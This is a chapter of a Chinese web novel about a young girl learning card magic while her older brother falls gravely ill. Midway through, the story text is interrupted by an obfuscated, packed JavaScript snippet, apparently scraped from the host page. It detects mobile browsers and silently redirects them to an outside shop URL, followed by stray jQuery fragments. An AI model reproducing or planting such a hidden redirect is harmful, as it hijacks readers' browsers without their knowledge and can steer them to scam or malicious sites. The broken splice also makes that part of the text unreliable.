2016年4月,广东汕头。
哥哥早已回到东莞,两人之间的电话联系并不算频繁。
每天早出晚归,晚上偶尔接到妹妹电话的他,大多数时候听她抱怨着不想上学想吃零食这些事情,都是笑着温柔安慰。
没过一会儿,哥哥就会沉沉睡去,妹妹听着他均匀的呼吸声和偶尔激烈的咳嗽,趴在被窝里望着星空发呆。
她在想,要成为一名能登上春晚的魔术师,到底该有多难?
想得到答案很简单,就是百度百科。他搜索了春晚魔术师王允文,几秒钟过去,关于她的生平经历便尽数呈现。
八岁起研究魔术,十一岁拜师学习心理学、表演学,长大后奔跑世界各地参加各种比赛慢慢成名.....这些内容柏嘉妤仿佛在哪里看过,好像每一个名人的成长经历都差不多。
当她正想关掉页面的时候,下面字体标红加粗的部分却让她放慢了动作——“今年春晚魔术0.1秒瑕疵,表演者王允文表示会处理好一切。”
失误?她看完了全程,哪有失误,她怎么没发现。
不过竟然是在春晚上出错吗,这么多届春晚第一次有人在魔术表演上失误,与她如何如何难过相比,柏嘉妤更想知道为什么?
她找到了王允文的微博,第一条是今天凌晨发的:“魔术是我一生的挚爱,不过在今天我也终于意识到了一件事,除了实力,一切的一切都是虚幻的,像阳光下的泡泡随时都会碎掉。”
柏嘉妤郑重地点头,表示认可。她继续往下翻,王允文经常会发魔术片段和自拍,评论区里经常有很多小粉丝夸她漂亮夸她厉害,甚至她还有国际粉丝后援会。
很多观众晒出与她的合影,晒出观看她演出的门票,文案字里行间的害羞与兴奋,都更像是在对待一个偶像歌星。
这是,偶像派的做法吗?
嘉妤翻了个身,不禁在想这或许就是这次春晚失败的原因。她看到很多路人或者专业魔术师点评今年春晚的魔术,尽管这段表演对年幼的柏嘉妤来说足够震撼,但对很多专业成年人这是平庸甚至无聊的。
后来她知道,允文的春晚表演在极其细微的地方出了错,还正好被高清摄像机拍到了。虽然不显眼,但总能被眼尖的观众发现。
她说实力很重要,应该也有对自己实力的不满吧。
小嘉妤突然扛着被子站起来,木板床发出滋滋嘎嘎的声响。她对着一片黑暗庄严发誓,誓言朴实,但在黑夜里有着不可阻挡的魔力。
她也要成为有实力的魔术师。
开心起来便难以入睡,所以第二天她打着哈欠走进校园时,都没听见同学在叫她。
“阿妤,你说今天要表演魔术?是什么样的魔术啊?”
一听到魔术这两个字,柏嘉妤就马上清醒过来,脸上的黑眼圈都消失不见了。
但她仍然选择保密,害羞地笑了一下,马上跑开了。
班会课时,她站在讲台上,仰首挺胸地摆弄着手上的扑克牌。
她先将那一沓牌展示给大家看,最上面是黑桃七,随后把手整个盖在牌上,再马上翻开,黑桃七就变成了红桃十。
就像有魔法一样,瞬间变换了牌的位置。
台下的同学们一边“哇”“哇”“哇”,一边超大声地鼓起了掌。几乎所有人问她到底是怎么做的。
她摇摇头,先不聊那个,接下来还有更重磅的。随机抽出一张牌,用大拇指和食指举起来,两个手指轻轻一搓,又一刹那,小王变成了大王。
这次就连班主任老师的口型都变成了O型,边拍手边不停称赞:“怎么做得到,太厉害了。”
柏嘉妤红着耳朵继续表演了几个小魔术就回到了座位,下课铃声打响之后,她被好几个男同学女同学围着走向校门口。
朋友们有太多问题要问,而柏嘉妤神秘兮兮,一句怎么变得都没有解释。大家拽着她的胳膊,她停了下来,一本正经地随意敷衍几句。
话音刚落,她就马上带着红透的耳根迈开腿,奔着家的方向跑去。
春日的暖风吹拂在她稚嫩的脸庞,暖洋洋的天气下,跑累了就停下来,坐到路边,拔下一根蒲公英,把蒲公英毛茸茸的种子吹像远方。
仿佛这样做,小种子们就会把她的梦想传遍全世界。
回到家后,柏嘉妤还没看到人就大喊着:“妈,我今天表演魔术表演得很成——”
话还没说完,她突然看见母亲满脸的泪痕,还有身边那个不合时宜的蓝色蝴蝶风筝。
妈妈跑过来抱紧嘉妤,告诉她:“这是哥哥给你寄来的风筝,哥哥要回家了,妈妈和舅舅要带他去广州看病,过几天伯伯婶婶过来照顾你。”
看病......嘉妤早就察觉到了哥哥身体的异样之处,但是她擅长骗自己,以为哥哥的身体还没有那么差。
小嘉妤拿起风筝,双眼一眨不眨地看着那抹鲜亮得过分的蓝色。慢慢的、慢慢的,那蓝色竟然异化成了红色——鲜血的颜色。
她抱紧风筝,哭着跑上二楼。
第二天是周六,到中午十二点,嘉妤的房间都还没有动静。妈妈实在担心,昨天晚上她连饭都没吃几口,是不是太伤心了,这样会伤身的啊。
“阿妤啊,起床了,今天天气多好啊,去放放风筝吧,你不是一直缠着哥哥给你买风筝吗?”妈妈走上二楼,轻轻敲了敲门,听见里面传来的微弱的啜泣声,“你这孩子啊,这些事儿不用你操心,快下楼,妈妈给你做了凉茶。”
半晌,柏嘉妤才穿好衣服,拿着风筝下楼。妈妈看到她眼睛肿得像只小青蛙,皱了皱眉头,想说些什么,最终也没说出来。
她咬着嘴唇,倔强地走向院子,踏上那条走过无数遍的石板路。
上一次和哥哥一起在这里放风筝的时候,爸爸还在世。
鲜艳的“蓝色蝴蝶”缓慢升空,矮小的她使劲儿扬起头,看着风筝越飞越高,孤独地飞在漫无边际的晴空。在风中摇曳的、单薄的、仿佛随时要断掉的线在独自支撑着风筝,两者你护着我,我守着你。
就在这一秒,柏嘉妤有些走神,没有按住手上的线。
风筝线在一瞬冲破了阻碍,失控地奔向上空。那一抹蓝色变得越来越小,直到“蓝色蝴蝶”快要看不到了。
柏嘉妤使出吃奶的劲儿往回拉风筝线,却除了被线割伤手掌之外,什么都没有得到。
“蓝色蝴蝶”不见了,一定是掉在了哪片树林里面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949541|214143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>她跑向那片茂密的森林,还有很长一段石板路才能到那里。哭了一夜的她只觉得头疼欲裂,脚下都有些发飘。
为什么还有那么长的路,我的风筝呢,为什么会发生这种事儿,我该怎么办......
乱七八糟的想法在脑海里闹腾,让她忽略了脚下的障碍。突然间的“啪”的一声后,她摔倒在这段石板路上。
手掌和膝盖迸发出剧烈的疼痛,她终于也无法再强行忍下内心的悲痛,放声大哭了起来。
泪水模糊了美丽的春日景色,甚至剥夺了属于大自然的艳丽的色彩。
“怎么都哭成小花猫了?”
这是?熟悉的声音?
柏嘉妤抬起头,看到了一张既陌生又熟悉的脸。
是哥哥——更加瘦、更加病弱的哥哥。
柏晨然笑着向她伸出手,那笑容挂在干瘦的脸上,显得那么摇摇欲坠。
她像只小狗扑进柏晨然的怀抱,他虽然被这么突然的动作吓了一下,可还是牢牢站在原地,不让妹妹扑空。
他给她擦干眼泪,又拍拍身上的土,让她站好。
和幼时总是发生的那样,柏嘉妤跟在哥哥身后,两个小小的身影共同往家里走。
初春,满天的柳絮纷飞,默默飘落在一前一后的兄妹之间。她看着他的后背,心情和这些柳絮一样飘飘荡荡地下落着。
他的身影越来越单薄了,只有骨头支撑着衣服。又是一直在咳嗽,到底得的什么病?为什么所有人都在瞒着她。
柏嘉妤快走了几步,跟在哥哥后面,说要和他一起去广州看病,哥哥理所当然地拒绝,兄妹俩又开始没完没了的拌嘴。
最终,她还是没有跟去广州,但在五一假期跟着伯伯婶婶来到广州,看望住院的哥哥。
路过烧伤科时,她捂上了眼睛和耳朵,心里的恐惧在剧烈吞噬她,哥哥也会这么痛吗?
“就是普通的肺炎,还是身体太弱了的原因。我们借的钱会尽快还的,他爸留了点儿钱,你们放心。“是妈妈在和婶婶说话,婶婶安慰她不用着急还钱,先让孩子把身体养好。
嘉妤不安地推开门,坐在病床上的哥哥正全神贯注地望着窗外的一棵桃树。火红的桃花开满了整棵大树,和煦的风吹动他的短发。
也许是察觉到了,柏晨然转过头——脸上终于有点肉了——向嘉妤露出了一个比任何时候都更加灿烂的笑。
她扑进他的身体里,所有的委屈在这一刻爆发。
“好了,我这不是好好的吗?”他拍着妹妹的头,“听说你期中考试考得很好,等哥哥出院了,就马上带你去游乐园好不好?”
小嘉妤哭得厉害,没有回答。
这天下午,哥哥午睡醒来后,柏嘉妤已经拿着扑克牌,满面严肃地站在哥哥面前。
她说这是更厉害的技巧,异常考验手速的功底,还有一些进阶的技巧,比如掌藏和双翻,都很难的,她都已经掌握得很牢固了。
柏晨然给她拌着妈妈刚买回来给他吃的面条,虚弱的脸上是止不住的笑容。她说得越激昂,他就笑得越开心,也把另一只输液输得浮肿的手和藏得越深。
在门口看着的妈妈,仍然拿出书包的纸巾擦了擦眼泪。